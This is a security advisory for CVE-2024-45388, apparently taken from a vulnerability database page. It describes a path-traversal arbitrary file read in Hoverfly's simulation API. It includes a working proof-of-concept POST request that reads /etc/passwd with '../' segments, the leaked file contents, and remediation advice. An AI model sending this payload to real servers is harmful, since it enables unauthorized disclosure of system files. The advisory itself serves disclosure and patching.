  "details": "### Details\n\nThe `/api/v2/simulation` [POST handler](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87) allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.\n\n```go\n# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186\nfunc (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {\n\tif filepath.IsAbs(filePath) {\n\t\treturn \"\", fmt.Errorf(\"bodyFile contains absolute path (%s). only relative is supported\", filePath)\n\t}\n\n\tfileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(fileContents[:]), nil\n}\n```\n\nNote that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files.\n\nThis issue was found using the [Uncontrolled data used in path expression CodeQL query for python](https://codeql.github.com/codeql-query-help/go/go-path-injection/).\n#### Proof of Concept\n\nSend the following `POST` request to read the `/etc/passwd` file:\n\n```http\nPOST /api/v2/simulation HTTP/1.1\nHost: localhost:8888\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 128\n\n{\"data\":{\"pairs\":[{\n\"request\":{},\"response\": {\n\"bodyFile\": \"../../../../../etc/passwd\"}} ]},\"meta\":{\"schemaVersion\":\"v5.2\"}}\n\n```\n\nResponse will contain the Hoverfly\u0027s server `/etc/passwd`\n```\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nDate: Tue, 19 Dec 2023 20:59:16 GMT\nContent-Length: 1494\nConnection: close\n\n{\"data\":{\"pairs\":[{\"request\":{},\"response\":{\"status\":0,\"body\":\"root:x:0:0:root:/root:/bin/ash\\nbin:x:1:1:bin:/bin:/sbin/nologin\\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\\nadm:x:3:4:adm:/var/adm:/sbin/nologin\\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\\nsync:x:5:0:sync:/sbin:/bin/sync\\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\\nhalt:x:7:0:halt:/sbin:/sbin/halt\\nmail:x:8:12:mail:/var/mail:/sbin/nologin\\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\\noperator:x:11:0:operator:/root:/sbin/nologin\\nman:x:13:15:man:/usr/man:/sbin/nologin\\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\\ngames:x:35:35:games:/usr/games:/sbin/nologin\\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\\nguest:x:405:100:guest:/dev/null:/sbin/nologin\\nnobody:x:65534:65534:nobody:/:/sbin/nologin\\n\",\"bodyFile\":\"../../../../../etc/passwd\",\"encodedBody\":false,\"templated\":false}}],\"globalActions\":{\"delays\":[],\"delaysLogNormal\":[]}},\"meta\":{\"schemaVersion\":\"v5.2\",\"hoverflyVersion\":\"v1.6.1\",\"timeExported\":\"2023-12-19T20:59:16Z\"}}\n\n```\n\n#### Impact\n\nThis issue may lead to Information Disclosure.\n#### Remediation\n\nThe code is [preventing absolute paths from being read](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186). Make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`)",
  "id": "GHSA-6xx4-x46f-f897",
  "modified": "2024-09-06T21:41:35Z",
  "published": "2024-09-03T21:01:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45388"
    },
    {
      "type": "WEB",
      "url": "https://codeql.github.com/codeql-query-help/go/go-path-injection"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SpectoLabs/hoverfly"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Hoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2024-45388 (GCVE-0-2024-45388)

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

Timestamps

Scope

Evidence

Public Report Successful Exploitation Confidence: 70% Source: previdian

Details

References

EUVD-2026-161005

FKIE_CVE-2024-45388

GHSA-6XX4-X46F-F897

Details

Proof of Concept

Impact

Remediation

Tags

Sightings

Nomenclature

Related by attack behaviour